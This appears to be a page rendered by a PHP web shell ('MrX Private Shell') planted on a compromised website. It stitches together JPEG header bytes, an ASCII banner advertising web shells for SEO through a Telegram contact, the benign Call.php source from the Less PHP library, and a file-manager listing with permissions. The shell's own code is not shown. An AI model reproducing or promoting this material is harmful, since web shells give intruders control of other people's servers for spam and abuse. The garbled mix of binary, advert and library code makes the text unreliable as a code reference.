����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Call
*
* @package Less
* @subpackage tree
*/
class Less_Tree_Call extends Less_Tree{
public $value;
public $name;
public $args;
public $index;
public $currentFileInfo;
public $type = 'Call';
public function __construct($name, $args, $index, $currentFileInfo = null ){
$this->name = $name;
$this->args = $args;
$this->index = $index;
$this->currentFileInfo = $currentFileInfo;
}
public function accept( $visitor ){
$this->args = $visitor->visitArray( $this->args );
}
//
// When evaluating a function call,
// we either find the function in `tree.functions` [1],
// in which case we call it, passing the evaluated arguments,
// or we simply print it out as it appeared originally [2].
//
// The *functions.js* file contains the built-in functions.
//
// The reason why we evaluate the arguments, is in the case where
// we try to pass a variable to a function, like: `saturate(@color)`.
// The function should receive the value, not the variable.
//
public function compile($env=null){
$args = array();
foreach($this->args as $a){
$args[] = $a->compile($env);
}
$nameLC = strtolower($this->name);
switch($nameLC){
case '%':
$nameLC = '_percent';
break;
case 'get-unit':
$nameLC = 'getunit';
break;
case 'data-uri':
$nameLC = 'datauri';
break;
case 'svg-gradient':
$nameLC = 'svggradient';
break;
}
$result = null;
if( $nameLC === 'default' ){
$result = Less_Tree_DefaultFunc::compile();
}else{
if( method_exists('Less_Functions',$nameLC) ){ // 1.
try {
$func = new Less_Functions($env, $this->currentFileInfo);
$result = call_user_func_array( array($func,$nameLC),$args);
} catch (Exception $e) {
throw new Less_Exception_Compiler('error evaluating function `' . $this->name . '` '.$e->getMessage().' index: '. $this->index);
}
} elseif( isset( $env->functions[$nameLC] ) && is_callable( $env->functions[$nameLC] ) ) {
try {
$result = call_user_func_array( $env->functions[$nameLC], $args );
} catch (Exception $e) {
throw new Less_Exception_Compiler('error evaluating function `' . $this->name . '` '.$e->getMessage().' index: '. $this->index);
}
}
}
if( $result !== null ){
return $result;
}
return new Less_Tree_Call( $this->name, $args, $this->index, $this->currentFileInfo );
}
/**
* @see Less_Tree::genCSS
*/
public function genCSS( $output ){
$output->add( $this->name . '(', $this->currentFileInfo, $this->index );
$args_len = count($this->args);
for($i = 0; $i < $args_len; $i++ ){
$this->args[$i]->genCSS( $output );
if( $i + 1 < $args_len ){
$output->add( ', ' );
}
}
$output->add( ')' );
}
//public function toCSS(){
// return $this->compile()->toCSS();
//}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Mixin | Folder | 0755 |
|
|
| Alpha.php | File | 832 B | 0644 |
|
| Anonymous.php | File | 1.07 KB | 0644 |
|
| Assignment.php | File | 721 B | 0644 |
|
| Attribute.php | File | 975 B | 0644 |
|
| Call.php | File | 2.83 KB | 0644 |
|
| Color.php | File | 5.12 KB | 0644 |
|
| Comment.php | File | 1.23 KB | 0644 |
|
| Condition.php | File | 1.46 KB | 0644 |
|
| DefaultFunc.php | File | 581 B | 0644 |
|
| DetachedRuleset.php | File | 822 B | 0644 |
|
| Dimension.php | File | 5.13 KB | 0644 |
|
| Directive.php | File | 2.03 KB | 0644 |
|
| Element.php | File | 1.48 KB | 0644 |
|
| Expression.php | File | 1.82 KB | 0644 |
|
| Extend.php | File | 1.93 KB | 0644 |
|
| Import.php | File | 8.21 KB | 0644 |
|
| Javascript.php | File | 542 B | 0644 |
|
| Keyword.php | File | 688 B | 0644 |
|
| Media.php | File | 4.27 KB | 0644 |
|
| NameValue.php | File | 1.3 KB | 0644 |
|
| Negative.php | File | 729 B | 0644 |
|
| Operation.php | File | 1.38 KB | 0644 |
|
| Paren.php | File | 577 B | 0644 |
|
| Quoted.php | File | 1.85 KB | 0644 |
|
| Rule.php | File | 3.1 KB | 0644 |
|
| Ruleset.php | File | 16.15 KB | 0644 |
|
| RulesetCall.php | File | 477 B | 0644 |
|
| Selector.php | File | 4.03 KB | 0644 |
|
| UnicodeDescriptor.php | File | 419 B | 0644 |
|
| Unit.php | File | 3.09 KB | 0644 |
|
| UnitConversions.php | File | 612 B | 0644 |
|
| Url.php | File | 1.75 KB | 0644 |
|
| Value.php | File | 794 B | 0644 |
|
| Variable.php | File | 1.2 KB | 0644 |
|